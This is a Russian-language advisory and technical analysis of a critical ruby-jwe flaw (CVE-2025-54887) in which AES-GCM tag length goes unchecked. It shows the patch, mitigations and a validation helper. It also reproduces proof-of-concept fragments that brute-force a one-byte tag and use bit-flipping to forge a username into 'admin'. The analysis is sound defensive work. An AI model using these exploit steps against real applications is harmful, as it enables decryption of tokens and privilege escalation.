Уязвимость BDU:2025-09559 (CVE-2025-54887) JSON Web Encryption (JWE)
Уязвимость BDU:2025-09559 (CVE-2025-54887) в реализации стандарта JSON Web Encryption (JWE) RFC 7516 в библиотеке ruby-jwe связана с отсутствием валидации длины аутентификационного тега при использовании алгоритма AES-GCM. Это позволяет злоумышленнику удалённо подбирать теги, расшифровывать зашифрованные данные без знания ключа и даже подменять содержимое JWE-токенов, что приводит к полному нарушению конфиденциальности и целостности передаваемой информации. Уязвимость особенно опасна в системах, где JWE используется для передачи чувствительных данных — например, в токенах аутентификации, сессиях или конфиденциальных API-запросах.
Анализ уязвимости
Уровень опасности: 9.1 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
— Вектор атаки (AV): Сетевой — уязвимость эксплуатируется удалённо через сеть.
— Сложность эксплуатации (AC): Низкая — для успешной атаки не требуется сложных условий.
— Привилегии (PR): Не требуются — атакующему не нужны учётные данные.
— Взаимодействие с пользователем (UI): Не требуется — атака проходит без участия пользователя.
— Область воздействия (S): Не оказывает — уязвимость не распространяется за пределы компонента.
— Конфиденциальность (C): Высокая — возможна утечка конфиденциальных данных.
— Целостность (I): Высокая — возможна модификация данных.
— Доступность (A): Нет влияния — отсутствует влияние.
Условия эксплуатации
Для успешной эксплуатации уязвимости должны быть соблюдены следующие условия:
-
Целевое приложение использует уязвимую версию (
<= 1.1.0) гемаjweдля обработки входящих JWE-токенов. -
Приложение принимает JWE-токены из ненадежных источников.
-
Токен должен быть зашифрован с использованием алгоритма
A256GCM(или любого другого AES-GCM).
Технический анализ уязвимости
Рассмотрим код исправления, чтобы понять суть проблемы. До патча код в файле lib/jwe/enc/aes_gcm.rb выглядел так:
def setup_cipher(direction, auth_data)
cipher = OpenSSL::Cipher.new('aes-256-gcm')
cipher.send(direction)
cipher.key = cek
cipher.iv = iv
cipher.auth_tag = tag if direction == :decrypt
cipher.auth_data = auth_data
end
Метод setup_cipher просто присваивает тег, полученный из токена, криптографическому контексту OpenSSL без какой-либо предварительной проверки. Согласно стандарту AES-GCM, корректная длина тега аутентификации должна составлять 16 байт (128 бит). Однако библиотека принимала тег любой длины.
Исправление добавляет критически важную проверку:
def setup_cipher(direction, auth_data)
cipher = OpenSSL::Cipher.new('aes-256-gcm')
cipher.send(direction)
cipher.key = cek
cipher.iv = iv
if direction == :decrypt
raise JWE::InvalidData, 'Invalid ciphertext or authentication tag' unless tag.bytesize == 16
cipher.auth_tag = tag
end
cipher.auth_data = auth_data
end
Почему это критично? Алгоритм AES-GCM является аутентифицированным режимом шифрования. Тег аутентификации — это криптографический хэш, вычисленный от открытого текста и дополнительных аутентифицированных данных (AAD). Его предназначение — гарантировать, что данные не были изменены после шифрования. Если не проверять длину тега, механизм аутентификации полностью нарушается.
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. PoC состоит из двух частей.
Часть 1: Подбор тега и раскрытие информации
Разберем ключевые элементы скрипта:
-
Создание легитимного токена:
key = OpenSSL::Random.random_bytes(32) data = 'Cats can say meow' jwetoken = JWE.encrypt(data, key, alg: 'dir', enc: 'A256GCM')
Здесь создается валидный JWE-токен с использованием 256-битного ключа и алгоритма AES-GCM.
-
Разбор токена на составляющие:
parts = jwetoken.split('.')JWE-токен состоит из 5 частей, разделенных точками: заголовок, зашифрованный ключ, вектор инициализации, шифртекст и тег аутентификации.
-
Атака подбора однобайтового тега:
(0..255).each do |byte| single_byte_tag = [byte].pack('C') crafted_jwe = [ parts[0], parts[1], parts[2], parts[3], Base64.urlsafe_encode64(single_byte_tag, padding: false) ].join('.')Критически важный момент: атакующий создает токен с тегом длиной всего 1 байт и перебирает все возможные значения этого байта (0-255).
-
Попытка дешифрования:
decrypted = JWE.decrypt(crafted_jwe, key)
Уязвимая библиотека принимает тег длиной 1 байт и пытается его верифицировать. При успешной проверке (один из 256 случаев) возвращает расшифрованные данные.
Часть 2: Подмена данных внутри токена
Второй скрипт демонстрирует более сложную атаку:
-
Анализ структуры шифртекста:
encrypted_prefix = ciphertext.byteslice(0, 10) encrypted_username = ciphertext.byteslice(10, 5) encrypted_suffix = ciphertext.byteslice(15..-1)
Атакующий должен понимать структуру данных внутри токена. В примере предполагается, что позиции 10-15 содержат значение username.
-
Применение атаки Bit-Flipping:
username_xor = xor("macie", "admin") forged_username = xor(encrypted_username, username_xor)Поскольку AES-GCM использует режим счетчика (CTR), изменение битов в шифртексте приводит к таким же изменениям в открытом тексте. Атакующий вычисляет разницу между старым и новым значением и применяет XOR к шифртексту.
-
Сборка модифицированного токена:
forged_ciphertext = encrypted_prefix + forged_username + encrypted_suffix
Создается новый шифртекст с измененными данными.
-
Подбор тега для нового токена:
Процесс аналогичен первой части - перебор однобайтового тега для успешной верификации модифицированного токена.
Где используется библиотека и последствия атаки
Библиотека jwe может использоваться в любом Ruby-приложении для обеспечения сквозного шифрования данных. Наиболее частые случаи использования:
-
JWT-токены с шифрованием
-
Защищенные каналы передачи данных между микросервисами
-
Хранение зашифрованных данных в клиентском приложении
Последствия успешной эксплуатации:
-
Раскрытие конфиденциальной информации
-
Подмена данных в токенах (повышение привилегий, изменение финансовых данных)
-
Компрометация ключа GHASH
Способы защиты
-
Немедленное обновление jwe
-
Ротация ключей шифрования:
Все ключи, использовавшиеся с уязвимыми версиями, должны быть заменены. -
Валидация на уровне приложения:
def validate_jwe_token(token) parts = token.split('.') return false unless parts.size == 5 header_json = Base64.urlsafe_decode64(parts[0]) header = JSON.parse(header_json) if header['enc']&.end_with?('GCM') auth_tag = Base64.urlsafe_decode64(parts[4]) return false unless auth_tag.bytesize == 16 end return true end